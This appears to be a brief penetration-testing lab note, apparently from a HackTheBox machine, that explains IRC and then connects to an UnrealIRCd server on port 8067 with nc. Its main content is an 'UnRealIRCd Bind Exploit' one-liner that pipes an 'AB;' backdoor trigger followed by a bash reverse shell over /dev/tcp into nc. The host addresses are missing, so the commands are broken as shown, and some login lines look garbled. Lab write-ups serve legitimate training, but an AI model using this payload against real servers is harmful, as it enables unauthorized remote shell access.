IRC is a global, distributed, real-time chat system that operates over the Internet. An IRC network consists of a set of interconnected servers. Once users are connected to an IRC server, they can converse with other users connected to any server in the IRC network

Connecting to an IRC Server

  • As per the instructions in the RFC

nc 8067
PASS dnoscp
NAME dnoscp dn.htb dnoscp :DN
<Connetion Message>

UnRealIRCd Bind Exploit

  • After initializing the connection to the IRC server

echo 'AB; /bin/bash -c "/bin/bash -i >& /dev/tcp/ 0>&1"' | nc -w 3 8067
  • Shell will be obtained

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